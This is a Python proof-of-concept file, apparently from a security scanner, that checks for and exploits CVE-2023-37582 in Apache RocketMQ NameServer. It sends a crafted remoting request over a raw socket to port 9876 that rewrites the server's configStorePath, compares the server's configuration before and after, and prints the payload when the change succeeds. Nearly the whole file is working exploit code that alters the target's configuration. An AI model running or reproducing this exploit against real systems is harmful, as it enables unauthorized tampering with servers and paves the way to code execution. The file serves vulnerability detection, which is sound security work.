'''
Function:
    Apache RocketMQ NameServer 代码注入漏洞
Author:
    花果山
Wechat official account：
    中龙 红客突击队
Official website：
    https://www.hscsec.cn/
Email：
    spmonkey@hscsec.cn
Blog:
    https://spmonkey.github.io/
GitHub:
    https://github.com/spmonkey/
'''
# -*- coding: utf-8 -*-
import random
import socket
import binascii
from urllib.parse import urlparse


class poc:
    def __init__(self, url, proxy):
        self.url = url
        self.result_text = ""
        self.port = 9876

    def host(self):
        url = urlparse(self.url)
        netloc = url.netloc
        return netloc

    def exploit(self, address):
        try:
            client_socket = socket.socket()
            client_socket.settimeout(5)  # Set socket timeout to 5 seconds
            client_socket.connect((address, self.port))

            header = '{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode('utf-8')
            body = 'configStorePath=/tmp/test\nproductEnvName=test'+ str(random.randint(1, 10)) + '3;'

            header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
            header_length_hex = '00000000' + str(hex(header_length))[2:]
            total_length = int(4 + len(binascii.hexlify(body.encode('utf-8')).decode('utf-8')) / 2 + header_length)
            total_length_hex = '00000000' + str(hex(total_length))[2:]
            data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8') + binascii.hexlify(body.encode('utf-8')).decode('utf-8')

            client_socket.send(bytes.fromhex(data))
            data_received = client_socket.recv(1024)

            if b'"remark":"Can not update config path"' in data_received:
                client_socket.close()
                return False
            client_socket.close()
            return bytes.fromhex(data)
        except socket.timeout:
            return False
        except:
            return False

    def get_namesrv_config(self, address):
        try:
            client_socket = socket.socket()
            client_socket.settimeout(5)
            client_socket.connect((address, self.port))

            header = '{"code":319,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode('utf-8')

            header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2)
            header_length_hex = '00000000' + str(hex(header_length))[2:]
            total_length = int(4 + header_length)
            total_length_hex = '00000000' + str(hex(total_length))[2:]
            data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8')

            client_socket.send(bytes.fromhex(data))
            data_received = client_socket.recv(1024)

            client_socket.close()
            return data_received
        except socket.timeout:
            return False
        except:
            return False

    def main(self):
        if "http" in self.url:
            ip = self.host()
        else:
            ip = self.url

        result1 = self.get_namesrv_config(ip)
        payload = self.exploit(ip)
        result2 = self.get_namesrv_config(ip)
        if payload:
            if result2 != result1:
                self.result_text += """\n        [+]    \033[32m检测到目标站点存在代码注入漏洞 (CVE-2023-37582)\033[0m
                     使用socket与目标主机的端口进行通信，并发送以下payload即可：
                     payload = {}""".format(payload)
                return self.result_text
            else:
                return False
        else:
            return False

